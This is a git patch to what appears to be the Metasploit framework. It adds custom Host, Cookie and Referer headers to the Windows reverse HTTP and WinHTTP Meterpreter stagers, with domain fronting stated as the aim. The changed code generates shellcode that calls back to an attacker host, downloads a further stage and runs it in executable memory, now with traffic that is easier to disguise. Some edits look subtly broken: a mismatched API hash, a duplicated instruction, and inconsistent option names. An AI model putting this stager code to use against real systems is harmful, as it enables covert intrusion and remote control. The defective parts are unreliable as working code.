From a78d8f83fc71ca5fe97aec3d32efea329e63cb44 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 18 Aug 2017 16:35:27 +1000 Subject: [PATCH] Add HTTP header support for Host/Cookie/Referer This is to start the support for things like domain fronting. --- lib/msf/core/handler/reverse_http.rb | 2 - lib/msf/core/payload/transport_config.rb | 28 +++-- lib/msf/core/payload/windows/reverse_http.rb | 108 +++++++++++++----- .../core/payload/windows/reverse_winhttp.rb | 46 ++++++-- .../core/payload/windows/x64/reverse_http.rb | 74 ++++++++++-- .../payload/windows/x64/reverse_winhttp.rb | 63 +++++++--- lib/rex/payloads/meterpreter/config.rb | 16 ++- 7 files changed, 248 insertions(+), 89 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index d9a1d7ff4d..5b0db244b5 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -347,8 +347,6 @@ protected blob = self.generate_stage( url: url, uuid: uuid, - lhost: uri.host, - lport: uri.port, uri: conn_id ) diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index c59c85577e..1f5daf9b42 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -56,16 +56,17 @@ module Msf::Payload::TransportConfig ds = opts[:datastore] || datastore { - scheme: ds['OverrideScheme'] || 'http', - lhost: opts[:lhost] || ds['LHOST'], - lport: (opts[:lport] || ds['LPORT']).to_i, - uri: uri, - ua: ds['MeterpreterUserAgent'], - proxy_host: ds['PayloadProxyHost'], - proxy_port: ds['PayloadProxyPort'], - proxy_type: ds['PayloadProxyType'], - proxy_user: ds['PayloadProxyUser'], - proxy_pass: ds['PayloadProxyPass'] + scheme: ds['OverrideScheme'] || 'http', + lhost: opts[:lhost] || ds['LHOST'], + lport: (opts[:lport] || ds['LPORT']).to_i, + uri: uri, + ua: ds['MeterpreterUserAgent'], + proxy_host: ds['PayloadProxyHost'], + proxy_port: ds['PayloadProxyPort'], + proxy_type: ds['PayloadProxyType'], + proxy_user: ds['PayloadProxyUser'], + proxy_pass: ds['PayloadProxyPass'], + custom_headers: get_custom_headers(ds) }.merge(timeout_config(opts)) end @@ -80,6 +81,13 @@ module Msf::Payload::TransportConfig private + def get_custom_headers(ds) + headers = "" + headers << "Host: #{ds['HttpHost']}\r\n" if ds['HttpHost'] + headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie'] + headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer'] + end + def timeout_config(opts={}) ds = opts[:datastore] || datastore { diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 1c9b79b562..5ee674b3ac 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -36,7 +36,10 @@ module Payload::Windows::ReverseHttp OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']), - OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]) + OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]), + OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']), + OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']), + OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header']) ], self.class) end @@ -47,22 +50,23 @@ module Payload::Windows::ReverseHttp ds = opts[:datastore] || datastore conf = { ssl: opts[:ssl] || false, - host: ds['LHOST'], + host: ds['LHOST'] || '127.127.127.127', port: ds['LPORT'], retry_count: ds['StagerRetryCount'], - retry_wait: ds['StagerRetryWait'] + retry_wait: ds['StagerRetryWait'] } # Add extra options if we have enough space - if self.available_space && required_space <= self.available_space - conf[:url] = luri + generate_uri(opts) - conf[:exitfunk] = ds['EXITFUNC'] - conf[:ua] = ds['MeterpreterUserAgent'] - conf[:proxy_host] = ds['PayloadProxyHost'] - conf[:proxy_port] = ds['PayloadProxyPort'] - conf[:proxy_user] = ds['PayloadProxyUser'] - conf[:proxy_pass] = ds['PayloadProxyPass'] - conf[:proxy_type] = ds['PayloadProxyType'] + if self.available_space.nil? || required_space <= self.available_space + conf[:url] = luri + generate_uri(opts) + conf[:exitfunk] = ds['EXITFUNC'] + conf[:ua] = ds['MeterpreterUserAgent'] + conf[:proxy_host] = ds['PayloadProxyHost'] + conf[:proxy_port] = ds['PayloadProxyPort'] + conf[:proxy_user] = ds['PayloadProxyUser'] + conf[:proxy_pass] = ds['PayloadProxyPass'] + conf[:proxy_type] = ds['PayloadProxyType'] + conf[:custom_headers] = get_custom_headers(ds) else # Otherwise default to small URIs conf[:url] = luri + generate_small_uri @@ -71,6 +75,22 @@ module Payload::Windows::ReverseHttp generate_reverse_http(conf) end + # + # Generate the custom headers string + # + def get_custom_headers(ds) + headers = "" + headers << "Host: #{ds['HttpHeaderHost']}\r\n" if ds['HttpHeaderHost'] + headers << "Cookie: #{ds['HttpHeaderCookie']}\r\n" if ds['HttpHeaderCookie'] + headers << "Referer: #{ds['HttpHeaderReferer']}\r\n" if ds['HttpHeaderReferer'] + + if headers.length > 0 + headers + else + nil + end + end + # # Generate and compile the stager # @@ -138,10 +158,23 @@ module Payload::Windows::ReverseHttp # Proxy options? space += 200 + # Custom headers? Ugh, impossible to tell + space += 512 + # The final estimated size space end + # + # Convert a string into a NULL-terminated ASCII byte array + # + def asm_generate_ascii_array(str) + (str.to_s + "\x00"). + unpack("C*"). + map{ |c| "0x%.2x" % c }. + join(",") + end + # # Generate an assembly stub with the configured feature set and options. # @@ -155,6 +188,7 @@ module Payload::Windows::ReverseHttp # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS # @option opts [String] :proxy_user The optional proxy server username # @option opts [String] :proxy_pass The optional proxy server password + # @option opts [String] :custom_headers The optional collection of custom headers for the payload. # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up # @option opts [Integer] :retry_wait The seconds to wait before retry a new request # @@ -181,6 +215,8 @@ module Payload::Windows::ReverseHttp proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user] proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass] + custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers]) + http_open_flags = 0 secure_flags = 0 @@ -222,10 +258,10 @@ module Payload::Windows::ReverseHttp push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. push 0x696e6977 ; ... push esp ; Push a pointer to the "wininet" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} call ebp ; LoadLibraryA( "wininet" ) xor ebx, ebx ; Set ebx to NULL to use in future arguments - ^ + ^ if proxy_enabled asm << %Q^ @@ -238,7 +274,7 @@ module Payload::Windows::ReverseHttp ; LPCTSTR lpszProxyName (via call) push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) push ebx ; LPCTSTR lpszAgent (NULL) - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} call ebp ^ else @@ -249,7 +285,7 @@ module Payload::Windows::ReverseHttp push ebx ; LPCTSTR lpszProxyName (NULL) push ebx ; DWORD dwAccessType (PRECONFIG = 0) push ebx ; LPCTSTR lpszAgent (NULL) - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} call ebp ^ end @@ -267,10 +303,10 @@ module Payload::Windows::ReverseHttp db "#{opts[:url]}", 0x00 got_server_host: push eax ; HINTERNET hInternet (still in eax from InternetOpenA) - push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')} call ebp mov esi, eax ; Store hConnection in esi - ^ + ^ # Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it # doesn't set the Proxy-Authorization header on the CONNECT request. @@ -286,7 +322,7 @@ module Payload::Windows::ReverseHttp ; LPVOID lpBuffer (username from previous call) push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) push esi ; hConnection - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} call ebp ^ end @@ -302,7 +338,7 @@ module Payload::Windows::ReverseHttp ; LPVOID lpBuffer (password from previous call) push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) push esi ; hConnection - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'HttpAddRequestHeaders')} call ebp ^ end @@ -317,7 +353,7 @@ module Payload::Windows::ReverseHttp push edi ; server URI push ebx ; method push esi ; hConnection - push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')} call ebp xchg esi, eax ; save hHttpRequest in esi ^ @@ -334,7 +370,6 @@ module Payload::Windows::ReverseHttp send_request: ^ - if opts[:ssl] asm << %Q^ ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); @@ -345,7 +380,7 @@ module Payload::Windows::ReverseHttp push eax ; &dwFlags push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) push esi ; hHttpRequest - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} call ebp ^ end @@ -354,17 +389,32 @@ module Payload::Windows::ReverseHttp httpsendrequest: push ebx ; lpOptional length (0) push ebx ; lpOptional (NULL) - push ebx ; dwHeadersLength (0) - push ebx ; lpszHeaders (NULL) + ^ + + if custom_headers + asm << %Q^ + push -1 ; dwHeadersLength (assume NULL terminated) + call get_req_headers ; lpszHeaders (pointer to the custom headers) + db #{custom_headers} + get_req_headers: + ^ + else + asm << %Q^ + push ebx ; HeadersLength (0) + push ebx ; Headers (NULL) + ^ + end + + asm << %Q^ push esi ; hHttpRequest - push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')} call ebp test eax,eax jnz allocate_memory set_wait: push #{retry_wait} ; dwMilliseconds - push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} call ebp ; Sleep( dwMilliseconds ); ^ @@ -404,7 +454,7 @@ module Payload::Windows::ReverseHttp push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (4Mb ought to do us) push ebx ; NULL as we dont care where the allocation is - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); download_prep: @@ -418,7 +468,7 @@ module Payload::Windows::ReverseHttp push 8192 ; read length push ebx ; buffer push esi ; hRequest - push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')} call ebp test eax,eax ; download failed? (optional?) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index c6f1eb838b..f30dbefa15 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -29,24 +29,26 @@ module Payload::Windows::ReverseWinHttp # Generate the first stage # def generate(opts={}) + ds = opts[:datastore] || datastore conf = { - ssl: opts[:ssl] || false, - host: datastore['LHOST'] || '127.127.127.127', - port: datastore['LPORT'] + ssl: opts[:ssl] || false, + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'] } # Add extra options if we have enough space - if self.available_space && required_space <= self.available_space + if self.available_space.nil? || required_space <= self.available_space conf[:uri] = luri + generate_uri - conf[:exitfunk] = datastore['EXITFUNC'] + conf[:exitfunk] = ds['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] - conf[:proxy_host] = datastore['PayloadProxyHost'] - conf[:proxy_port] = datastore['PayloadProxyPort'] - conf[:proxy_user] = datastore['PayloadProxyUser'] - conf[:proxy_pass] = datastore['PayloadProxyPass'] - conf[:proxy_type] = datastore['PayloadProxyType'] - conf[:retry_count] = datastore['StagerRetryCount'] - conf[:proxy_ie] = datastore['PayloadProxyIE'] + conf[:proxy_host] = ds['PayloadProxyHost'] + conf[:proxy_port] = ds['PayloadProxyPort'] + conf[:proxy_user] = ds['PayloadProxyUser'] + conf[:proxy_pass] = ds['PayloadProxyPass'] + conf[:proxy_type] = ds['PayloadProxyType'] + conf[:retry_count] = ds['StagerRetryCount'] + conf[:proxy_ie] = ds['PayloadProxyIE'] + conf[:custom_headers] = get_custom_headers(ds) else # Otherwise default to small URIs conf[:uri] = luri + generate_small_uri @@ -93,6 +95,9 @@ module Payload::Windows::ReverseWinHttp # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) space += 31 + # Custom headers? Ugh, impossible to tell + space += 512 * 2 + # The final estimated size space end @@ -167,6 +172,8 @@ module Payload::Windows::ReverseWinHttp proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user]) proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass]) + custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers]) + http_open_flags = 0 secure_flags = 0 @@ -434,8 +441,23 @@ module Payload::Windows::ReverseWinHttp push ebx ; TotalLength [6] push ebx ; OptionalLength (0) [5] push ebx ; Optional (NULL) [4] + ^ + + if custom_headers + asm << %Q^ + push -1 ; dwHeadersLength (assume NULL terminated) [3] + call get_req_headers ; lpszHeaders (pointer to the custom headers) [2] + db #{custom_headers} + get_req_headers: + ^ + else + asm << %Q^ push ebx ; HeadersLength (0) [3] push ebx ; Headers (NULL) [2] + ^ + end + + asm << %Q^ push esi ; HttpRequest handle returned by WinHttpOpenRequest [1] push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')} call ebp diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index a9048731b4..4821709236 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -36,7 +36,10 @@ module Payload::Windows::ReverseHttp_x64 OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']), - OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]) + OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]), + OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']), + OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']), + OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header']) ], self.class) end @@ -52,14 +55,14 @@ module Payload::Windows::ReverseHttp_x64 conf = { ssl: opts[:ssl] || false, - host: ds['LHOST'], + host: ds['LHOST'] || '127.127.127.127', port: ds['LPORT'], retry_count: ds['StagerRetryCount'], - retry_wait: ds['StagerRetryWait'] + retry_wait: ds['StagerRetryWait'] } # add extended options if we do have enough space - if self.available_space && required_space <= self.available_space + if self.available_space.nil? || required_space <= self.available_space conf[:url] = luri + generate_uri(opts) conf[:exitfunk] = ds['EXITFUNC'] conf[:ua] = ds['MeterpreterUserAgent'] @@ -68,6 +71,7 @@ module Payload::Windows::ReverseHttp_x64 conf[:proxy_user] = ds['PayloadProxyUser'] conf[:proxy_pass] = ds['PayloadProxyPass'] conf[:proxy_type] = ds['PayloadProxyType'] + conf[:custom_headers] = get_custom_headers(ds) else # Otherwise default to small URIs conf[:url] = luri + generate_small_uri @@ -76,6 +80,22 @@ module Payload::Windows::ReverseHttp_x64 generate_reverse_http(conf) end + # + # Generate the custom headers string + # + def get_custom_headers(ds) + headers = "" + headers << "Host: #{ds['HttpHeaderHost']}\r\n" if ds['HttpHeaderHost'] + headers << "Cookie: #{ds['HttpHeaderCookie']}\r\n" if ds['HttpHeaderCookie'] + headers << "Referer: #{ds['HttpHeaderReferer']}\r\n" if ds['HttpHeaderReferer'] + + if headers.length > 0 + headers + else + nil + end + end + # # Generate and compile the stager # @@ -89,6 +109,7 @@ module Payload::Windows::ReverseHttp_x64 pop rbp ; rbp now contains the block API pointer #{asm_reverse_http(opts)} ^ + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string end @@ -137,10 +158,23 @@ module Payload::Windows::ReverseHttp_x64 # Proxy options? space += 200 + # Custom headers? Ugh, impossible to tell + space += 512 + # The final estimated size space end + # + # Convert a string into a NULL-terminated ASCII byte array + # + def asm_generate_ascii_array(str) + (str.to_s + "\x00"). + unpack("C*"). + map{ |c| "0x%.2x" % c }. + join(",") + end + # # Generate an assembly stub with the configured feature set and options. # @@ -154,6 +188,7 @@ module Payload::Windows::ReverseHttp_x64 # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS # @option opts [String] :proxy_user The optional proxy server username # @option opts [String] :proxy_pass The optional proxy server password + # @option opts [String] :custom_headers The optional collection of custom headers for the payload. # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up # @option opts [Integer] :retry_wait The seconds to wait before retry a new request # @@ -180,6 +215,8 @@ module Payload::Windows::ReverseHttp_x64 proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user] proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass] + custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers]) + http_open_flags = 0 set_option_flags = 0 @@ -327,17 +364,15 @@ module Payload::Windows::ReverseHttp_x64 if retry_count > 0 asm << %Q^ - push #{retry_count} - pop rdi + push #{retry_count} + pop rdi ^ end - asm << %Q^ retryrequest: ^ - if opts[:ssl] asm << %Q^ internetsetoption: @@ -351,15 +386,30 @@ module Payload::Windows::ReverseHttp_x64 pop r9 ; dwBufferLength (4 = size of flags) mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} call rbp + + xor r8, r8 ; dwHeadersLen (0) ^ end - asm << %Q^ - httpsendrequest: - mov rcx, rsi ; hRequest (request handle) + if custom_headers + asm << %Q^ + call get_req_headers ; lpszHeaders (pointer to the custom headers) + db #{custom_headers} + get_req_headers: + pop rdx ; lpszHeaders + dec r8 ; dwHeadersLength (assume NULL terminated) + ^ + else + asm << %Q^ push rbx pop rdx ; lpszHeaders (NULL) - xor r8, r8 ; dwHeadersLen (0) + ^ + end + + + asm << %Q^ + mov rcx, rsi ; hRequest (request handle) + xor r9, r9 ; lpszVersion (NULL) xor r9, r9 ; lpszVersion (NULL) push rbx ; stack alignment push rbx ; dwOptionalLength (0) diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 7ba6de3b35..358115e464 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -30,24 +30,26 @@ module Payload::Windows::ReverseWinHttp_x64 # Generate the first stage # def generate(opts={}) + ds = opts[:datastore] || datastore conf = { - ssl: opts[:ssl] || false, - host: datastore['LHOST'] || '127.127.127.127', - port: datastore['LPORT'] + ssl: opts[:ssl] || false, + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'] } # Add extra options if we have enough space - if self.available_space && required_space <= self.available_space + if self.available_space.nil? || required_space <= self.available_space conf[:uri] = luri + generate_uri - conf[:exitfunk] = datastore['EXITFUNC'] + conf[:exitfunk] = ds['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] - conf[:proxy_host] = datastore['PayloadProxyHost'] - conf[:proxy_port] = datastore['PayloadProxyPort'] - conf[:proxy_user] = datastore['PayloadProxyUser'] - conf[:proxy_pass] = datastore['PayloadProxyPass'] - conf[:proxy_type] = datastore['PayloadProxyType'] - conf[:retry_count] = datastore['StagerRetryCount'] - conf[:proxy_ie] = datastore['PayloadProxyIE'] + conf[:proxy_host] = ds['PayloadProxyHost'] + conf[:proxy_port] = ds['PayloadProxyPort'] + conf[:proxy_user] = ds['PayloadProxyUser'] + conf[:proxy_pass] = ds['PayloadProxyPass'] + conf[:proxy_type] = ds['PayloadProxyType'] + conf[:retry_count] = ds['StagerRetryCount'] + conf[:proxy_ie] = ds['PayloadProxyIE'] + conf[:custom_headers] = get_custom_headers(ds) else # Otherwise default to small URIs conf[:uri] = luri + generate_small_uri @@ -95,6 +97,9 @@ module Payload::Windows::ReverseWinHttp_x64 # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) space += 31 + # Custom headers? Ugh, impossible to tell + space += 512 + # The final estimated size space end @@ -115,12 +120,18 @@ module Payload::Windows::ReverseWinHttp_x64 # Generate an assembly stub with the configured feature set and options. # # @option opts [Bool] :ssl Whether or not to enable SSL - # @option opts [String] :uri The URI to request during staging + # @option opts [String] :url The URI to request during staging # @option opts [String] :host The host to connect to # @option opts [Integer] :port The port to connect to - # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [String] :proxy_host The optional proxy server host to use + # @option opts [Integer] :proxy_port The optional proxy server port to use + # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS + # @option opts [String] :proxy_user The optional proxy server username + # @option opts [String] :proxy_pass The optional proxy server password + # @option opts [String] :custom_headers The optional collection of custom headers for the payload. # @option opts [Integer] :retry_count The number of times to retry a failed request before giving up + # @option opts [Integer] :retry_wait The seconds to wait before retry a new request # def asm_reverse_winhttp(opts={}) @@ -169,6 +180,8 @@ module Payload::Windows::ReverseWinHttp_x64 proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user]) proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass]) + custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers]) + http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE secure_flags = ( 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID @@ -431,15 +444,29 @@ module Payload::Windows::ReverseWinHttp_x64 pop r9 ; dwBufferLength (4 = size of flags) mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption call rbp + + xor r8, r8 ; dwHeadersLen (0) ^ end - asm << %Q^ - winhttpsendrequest: - mov rcx, rsi ; hRequest (request handle) + if custom_headers + asm << %Q^ + call get_req_headers ; lpszHeaders (pointer to the custom headers) + db #{custom_headers} + get_req_headers: + pop rdx ; lpszHeaders + dec r8 ; dwHeadersLength (assume NULL terminated) + ^ + else + asm << %Q^ push rbx pop rdx ; lpszHeaders (NULL) - xor r8, r8 ; dwHeadersLen (0) + ^ + end + + + asm << %Q^ + mov rcx, rsi ; hRequest (request handle) xor r9, r9 ; lpszVersion (NULL) push rbx ; stack alignment push rbx ; dwContext (0) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 2c0479c9af..b3f56043cd 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -108,15 +108,19 @@ private cert_hash = "\x00" * CERT_HASH_SIZE cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash] + custom_headers = opts[:custom_headers] || '' + custom_headers = to_str(custom_headers, custom_headers.length + 1) + # add the HTTP specific stuff - transport_data << proxy_host # Proxy host name - transport_data << proxy_user # Proxy user name - transport_data << proxy_pass # Proxy password - transport_data << ua # HTTP user agent - transport_data << cert_hash # SSL cert hash for verification + transport_data << proxy_host # Proxy host name + transport_data << proxy_user # Proxy user name + transport_data << proxy_pass # Proxy password + transport_data << ua # HTTP user agent + transport_data << cert_hash # SSL cert hash for verification + transport_data << custom_headers # any custom headers that the client needs # update the packing spec - pack << 'A*A*A*A*A*' + pack << 'A*A*A*A*A*A*' end # return the packed transport information